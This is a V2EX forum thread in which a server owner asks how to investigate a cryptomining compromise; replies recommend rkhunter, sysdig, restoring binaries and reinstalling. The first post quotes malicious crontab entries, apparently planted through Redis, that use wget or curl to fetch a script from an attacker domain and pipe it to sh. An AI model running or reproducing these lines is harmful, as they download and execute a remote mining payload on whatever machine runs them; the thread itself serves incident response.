求助~服务器被挖矿程序入侵,如何排查

2018-05-28 09:15:14 +08:00
 diveIntoWork

最近服务器 CPU 占用一直在 75%左右,阿里云盾报警说是有挖矿程序,但是 top 命令没有发现 cpu 占用特别高的进程

top - 09:08:51 up 7 days, 21:20,  0 users,  load average: 6.53, 6.48, 6.45
Tasks: 181 total,   1 running, 179 sleeping,   0 stopped,   1 zombie
Cpu(s): 77.8%us,  6.1%sy,  0.0%ni, 16.1%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Mem:  32946868k total,  7645184k used, 25301684k free,   722592k buffers
Swap:        0k total,        0k used,        0k free,  4216620k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
22948 root      20   0   616    4    0 R    1  0.0   0:00.46 top
    1 root      20   0  117m 5996 3888 S    1  0.0  21:17.74 /sbin/init
 1767 root      20   0  130m  16m  12m S    1  0.1  43:42.96 /usr/local/aegis/aegis_client/aegis_10_41/AliYunDun
 1117 root      20   0 34336 4736 4200 S    0  0.0   7:24.21 /usr/local/aegis/aegis_update/AliYunDunUpdate
26901 root      20   0 2712m 567m  22m S    0  1.8  35:07.66 /root/apps/jdk1.8.0_121/bin/java -Dproc_namenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.7.1/logs -D
 1277 root      20   0 23196 2060 1524 S    0  0.0   6:24.72 /usr/local/cloudmonitor/wrapper/bin/./wrapper /usr/local/cloudmonitor/wrapper/bin/../conf/wrapper.conf wrapper.syslog.ident=cloudmonitor wrap
 7741 root      20   0 6130m 950m  29m S    0  3.0  69:27.14 /root/apps/jdk1.8.0_121/bin/java -cp /root/spark/spark-2.1.4.19-bin-2.7.1/conf/:/root/spark/spark-2.1.4.19-bin-2.7.1/jars/*:/root/hadoop/hado
   42 root      RT   0     0    0    0 S    0  0.0   3:36.15 [migration/7]
   13 root      20   0     0    0    0 S    0  0.0   4:13.37 [ksoftirqd/1]
   12 root      RT   0     0    0    0 S    0  0.0   3:42.04 [migration/1]
   15 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/1:0H]
   16 root      RT   0     0    0    0 S    0  0.0   0:01.70 [watchdog/2]
   17 root      RT   0     0    0    0 S    0  0.0   2:07.48 [migration/2]
    9 root      RT   0     0    0    0 S    0  0.0   1:57.28 [migration/0]
   20 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/2:0H]
   21 root      RT   0     0    0    0 S    0  0.0   0:01.97 [watchdog/3]
   22 root      RT   0     0    0    0 S    0  0.0   6:07.52 [migration/3]
   23 root      20   0     0    0    0 S    0  0.0   5:42.32 [ksoftirqd/3]
   25 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/3:0H]
   26 root      RT   0     0    0    0 S    0  0.0   0:02.08 [watchdog/4]
   27 root      RT   0     0    0    0 S    0  0.0   1:52.24 [migration/4]
   28 root      20   0     0    0    0 S    0  0.0   3:41.09 [ksoftirqd/4]
   30 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/4:0H]
    8 root      20   0     0    0    0 S    0  0.0   0:00.00 [rcu_bh]
   10 root      RT   0     0    0    0 S    0  0.0   0:02.24 [watchdog/0]
   33 root      20   0     0    0    0 S    0  0.0   4:11.14 [ksoftirqd/5]
   32 root      RT   0     0    0    0 S    0  0.0   3:36.46 [migration/5]
   36 root      RT   0     0    0    0 S    0  0.0   0:02.05 [watchdog/6]
   35 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/5:0H]
   38 root      20   0     0    0    0 S    0  0.0   3:39.25 [ksoftirqd/6]
   40 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/6:0H]
   41 root      RT   0     0    0    0 S    0  0.0   0:01.97 [watchdog/7]
   37 root      RT   0     0    0    0 S    0  0.0   1:52.30 [migration/6]
   43 root      20   0     0    0    0 S    0  0.0   4:06.41 [ksoftirqd/7]
   45 root       0 -20     0    0    0 S    0  0.0   0:00.00 [kworker/7:0H]
   46 root      20   0     0    0    0 S    0  0.0   0:00.00 [kdevtmpfs]
   47 root       0 -20     0    0    0 S    0  0.0   0:00.00 [netns]
   48 root       0 -20     0    0    0 S    0  0.0   0:00.00 [perf]
   
   

然后,在 /var/spool/crontab 目录下发现一个定时脚本:

   REDIS0007ú      redis-ver^F3.2.11ú
redis-bitsÀ@ú^EctimeÂI{»Zú^Hused-memÂxÖ^L^@þ^@û^D^@^@^HJsDhtGeK@I
*/5 * * * * /usr/bin/wget -q -O- http://cdn.namunil.com/sh.php|/bin/sh
^@^HFQysiMRk4
*/2 * * * * curl http://cdn.namunil.com/sh.php|sh
^@^FdseINi8
*/2 * * * * wget -O- http://cdn.namunil.com/sh.php|sh
^@^HJPYAqMif@F
*/5 * * * * /usr/bin/curl -qs http://cdn.namunil.com/sh.php|/bin/sh
ÿÖX*µTAÄg

是挖矿的脚本无疑了,但接下来应该怎么排查呢,试了一下挖矿脚本下载不下来。cpu 还是一直 75%左右。

12421 次点击
所在节点    程序员
36 条回复
diveIntoWork
2018-05-28 13:02:33 +08:00
@chestnutprog 感谢 用 RkHunter 查了一下,报警的内容有:

/usr/sbin/adduser [ Warning ]

/usr/bin/ldd [ Warning ]

/usr/bin/top [ Warning ]

/usr/bin/lwp-request [ Warning ]

/bin/egrep [ Warning ]

/bin/fgrep [ Warning ]

/bin/netstat [ Warning ]

/bin/which [ Warning ]

这些命令可能都被篡改过了。。/bin/ 目录下的内容 root 用户也不能随便替换吧,能不能从其他机器上拷贝过来
jin5354
2018-05-28 13:19:16 +08:00
不太懂,我 redis 之类的密码强度都很高,10 多位+大小写字母+数字+特殊符号,这样是不是就不容易中招了
RelativeLayout
2018-05-28 13:51:09 +08:00
Pain
2018-05-28 17:12:42 +08:00
没有人比入侵者更了解 入侵的程度。所以备份数据 重装系统是最好的解决方式。
xuanyuanaosheng
2018-05-28 17:23:30 +08:00
目前知道的有一整套的入侵方案:1. 系统命令肯定被替换了 2. 会增加 cron 定时任务 3. 你再知道某些问题后,主要能联网,程序还是会自动修复的,还是被挖矿,4. 开机启动部分也需要查看 5. 目前知道的进程名称为:htral,这个用 top 看不到的 最后建议自己先备份下自己的数据,备份的时候一定注意,然后重新安装系统,这些
chestnutprog
2018-05-28 20:37:38 +08:00
@diveIntoWork 可以从干净的相同版本系统上拷,把 rootkit 修好之后去找找挖矿程序,多半是简单的脚本啥的,分析清楚都干了啥挨个修了,顺便看下程序创建时间,检查下当时的 log 看看是从哪里进来的
kmahyyg
2018-05-28 20:42:48 +08:00
备份重要的非可执行数据之后重装吧
huigeer
2018-05-28 20:53:00 +08:00
备份重要的非可执行数据之后重装吧
conn4575
2018-05-28 20:56:51 +08:00
好可怕,吓得我都不敢开放端口了😂
diveIntoWork
2018-05-28 21:20:38 +08:00
@chestnutprog 感谢~ 最后是这样解决的
fancyhan
2018-05-28 21:29:35 +08:00
牛逼啊,只能重新安装系统了,怕是有 rookie,你用的什么 distro,开了啥 web 应用,听说 java ssh 框架有漏洞
aimiyooo
2018-05-28 23:17:41 +08:00
服务器有 redis 吧?备份数据,重装系统
zou2699
2018-05-28 23:25:07 +08:00
top 这些检测常用的命令应该也被修改
crll
2018-05-28 23:45:59 +08:00
我一般除了 80.443 端口开放,其他端口都修改了或者不对外开放的。重装系统是最快捷的方式。做好安全很重要。
leakless
2018-05-29 00:44:21 +08:00
testVmap
2018-05-29 09:42:32 +08:00
安装 sysdig 工具,我用这个找到了 CPU 占用高的程序
#sysdig -c topprocs_cpu

CPU% Process PID
--------------------------------------------------------------------------------
99.70% <NA> 719
99.70% <NA> 725
98.70% <NA> 724
98.70% <NA> 722
0.00% oracle 10187
0.00% hosteye 988
0.00% V8 4374
0.00% oracle 6393
0.00% gdbus 534
0.00% <NA> 9230

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/458242

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX